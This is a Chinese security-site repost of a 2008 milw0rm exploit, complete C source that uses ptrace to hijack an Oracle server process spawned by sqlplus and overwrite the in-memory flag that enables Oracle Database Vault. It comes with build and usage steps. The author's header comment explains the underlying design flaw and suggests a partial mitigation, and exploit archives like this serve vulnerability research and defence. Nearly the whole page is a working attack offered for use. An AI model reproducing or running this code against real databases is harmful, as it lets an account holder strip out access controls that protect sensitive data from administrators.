欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Oracle Database Vault ptrace(2) Privilege Escalation Exploit

来源:本站转载 作者:佚名 时间:2008-11-22 TAG: 我要投稿

/*
 * original release: http://vnull.pcnet.com.pl/blog/?p=92
 * 
 * ora_dv_mem_off.c version 0x1
 * ORACLE Database Vault runtime disabler (x86_32 Linux only)
 * AKA give_back_the_freedom
 * by Jakub 'vnull' Wartak <jakub.wartak@gmail.com> 26.02.2008
 * 0-day PRIVATE! D0 N0T DI$TRIBUT3!
 *
 * Tested on 10.2.0.3, CentOS 5. 
 * For other architectures/OS combos consider having fun with gdb ;]
 *
 * Whole Database Vault architecture is flawed if DBA has access to
 * oracle user process space. IMHO you could limit risk by creating
 * UNIX accounts for DBAs with membership of OSDBA group (along with 
 * oracle SUID binary and shared memory with only read permission 
 * for OSDBA group [check SHM privs: ipcs -cm] ). But how those DBAs 
 * would cope with some serious crashes (requiring for e.g. restoring 
 * controlfile) ?
 *
 * Usage: 
 *    Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME
 *     $ gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
 *    $ ./ora_dv_mem_off
 *
 * REQUIEREMENTS:
 *  + run as oracle process owner (by default "oracle")
 *  + working ptrace(), it won't work in systems with ptrace() 
 *    disabled (grsecurity and some LKMs).
 *  + BFD headers and library (binutils-devel)
 *
 * THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE
 * CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
 * LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
 * LOSSES OR UNLAWFUL OFFENCES.
 *
 * USE AT OWN RISK!
 *
 */
#include <bfd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
#include <asm/unistd.h> /* for __NR_clone */

/* you may need to alter this */
#define ORABASE  "/u01/app/oracle/product/10.2.0/bin"

/* 
 * Magic... (at&t syntax)
 * push %ebp
 * mov %esp, %ebp
 * mov <DV_FLAG>, %eax
 * [..] 
 * where DV_FLAG is 32-bit long
 */
#define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8"

const char *sqlplus = ORABASE "/sqlplus";
const char *oracle =  ORABASE "/oracle";
const int long_size = sizeof(long);
pid_t child;

long locate_dv_func(void) 
{
  asymbol **symbol_table;
  bfd *b = bfd_openr(oracle, NULL);
  if (b == NULL) {
    perror("bfd_openr");
    exit(-1);
  }

  bfd_check_format(b, bfd_object);
  long storage_needed = bfd_get_symtab_upper_bound(b);
  if(storage_needed < 0) {
    fprintf(stderr, "wtf?!\n");
    exit(-1);
  }

  if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) {
    perror("malloc");
    exit(-1);
  }

  int num_symbols;
  if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) {
    fprintf(stderr, "no symbols info\n");
    exit(-1);
  }

  int i;
  for(i = 0; i < num_symbols; i++) {
    char *symname = bfd_asymbol_name(symbol_table[i]);
    void *symaddr = bfd_asymbol_value(symbol_table[i]);
    /* don't even ask why this funciton, for real hardcore: gdb -p <oraclePIDs> */
    if(!strcmp(symname, "kzvtins")) {
      fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(), 
        (long) symaddr);
      return (long) symaddr;
    }
  }

  return 0;
}

/* from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala */
void getdata(pid_t child, long addr, char *str, int len)

  char *laddr;
  int i, j;
  union u {
    long val;
    char chars[long_size];
  } data;
  i = 0;
  j = len / long_size;
  laddr = str;
  while(i < j) {
    data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL);
    memcpy(laddr, data.chars, long_size);
    ++i;
    laddr += long_size;
  }
  j = len % long_size;
  if(j != 0) {
    data.val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL);
    memcpy(laddr, data.chars, j);
  }
  str[len] = '\0';
}

void putdata(pid_t child, long addr, char *str, int len)
{   
  char *laddr;
    int i, j;
    union u {
            long val;
            char chars[long_size];
    } data;
    i = 0;
    j = len / long_size;
    laddr = str;
    while(i < j) {
        memcpy(data.chars, laddr, long_size);
        ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
        ++i;
        laddr += long_size;
    }
    j = len % long_size;
    if(j != 0) {
        memcpy(data.chars, laddr, j);
        ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
    }
}

void cleanup(void) 
{
  int s;
  kill(child, SIGKILL);
  wait(&s);
}

int main(int ac, char **av) 
{
  int status;
  pid_t orapid = 0;

  bfd_init();
  
  if((child = fork()) == -1) {
    perror("fork");
    exit(-1);
  }

  if(child == 0) {
    if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) {
      perror("unable to ptrace(PTRACE_TRACEME)");
      exit(-1);
    }

    /* launch sqlplus */
    if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) {
      perror("execl");
      exit(-1);
    }

    /* not reached */
    exit(0);
  } 

  if(atexit(cleanup) != 0) {
    fprintf(stderr, "[%d] unable to register cleanup function\n", getpid());
  }

  wait(&status);
  if(WIFSTOPPED(status)) {
    fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child);
  }

  fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n");

  while(!orapid) {
    struct user_regs_struct uregs;

    ptrace(PTRACE_SYSCALL, child, 0, 0);
    wait(&status);
    ptrace(PTRACE_GETREGS, child, 0, &uregs);

    /* ouch! no fork()? clone()! */
    if(uregs.orig_eax==__NR_clone) {
      long *regs = 0;

      /* fprintf(stderr, "[%d] clone() syscall\n", getpid()); */
      ptrace(PTRACE_SYSCALL, child, 0, 0);
      wait(&status);
      if((orapid = ptrace(PTRACE_PEEKUSER, child, ®s[EAX], 0)) == -1) {
        perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n");
        exit(-1);
      }
      fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(), 
        child, orapid);

      /* attach to orapid, detach from sqlplus */
      if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) {
        perror("ptrace(PTRACE_ATTACH) to orapid");
        exit(-1);
      }

      while(1) {
        ptrace(PTRACE_SYSCALL, orapid, 0, 0);
        wait(&status);
        ptrace(PTRACE_GETREGS, orapid, 0, &uregs);
        if(uregs.orig_eax==__NR_execve) {
          fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid);
          /* end ptrace of syscall */    
          ptrace(PTRACE_SYSCALL, orapid, 0, 0);
          break;
        } else {
          //fprintf(stderr, "got %ld\n", uregs.orig_eax);
          ptrace(PTRACE_SYSCALL, orapid, 0, 0);
        }
      }

      if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) {
        perror("ptrace(PTRACE_DETACH) from child");
        exit(-1);
      }

    } else if(uregs.orig_eax==__NR_execve) {
      fprintf(stderr, "[%d] execve() syscall in %d\n", getpid(), child);
    }
  }

  /* now we have oracle server process under our control :) */
  long dv_func = locate_dv_func();
  if(dv_func == 0) {
    fprintf(stderr, "ERROR: unable to find function\n");
    exit(-1);
  }
  wait(&status);

  unsigned char buf[32];
  memset(buf, 0, sizeof(buf));
  getdata(orapid, dv_func, (char *)&buf, 32);

  /* dump opcodes */
  /*
    for(i = 0; i < 31; i++) {
    fprintf(stderr, "%x ", (unsigned char)buf[i]);
  } */
  
  if(!memcmp(buf, ASM_DV_FUNC_PROLOG, strlen(ASM_DV_FUNC_PROLOG))) {
    unsigned char dv_status;
    unsigned long woff = dv_func + strlen(ASM_DV_FUNC_PROLOG), woff2=woff;

    getdata(orapid, woff, (char *)&dv_status, 1);
    fprintf(stderr, "[***] sucessfuly validated function, DatabaseVault=%d\n", dv_status);
    fprintf(stderr, "[***] attempting to rewrite memory at 0x%lx\n", woff2);
  
    unsigned char my = 0;
    putdata(orapid, woff2, (void *)&my, 1);
  }

  if(ptrace(PTRACE_DETACH, orapid, 0, 0) == -1) {
    perror("ptrace(PTRACE_DETACH) from orapid");
    exit(-1);
  }

  wait(&status);
  exit(0);
}

// milw0rm.com [2008-11-20]

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载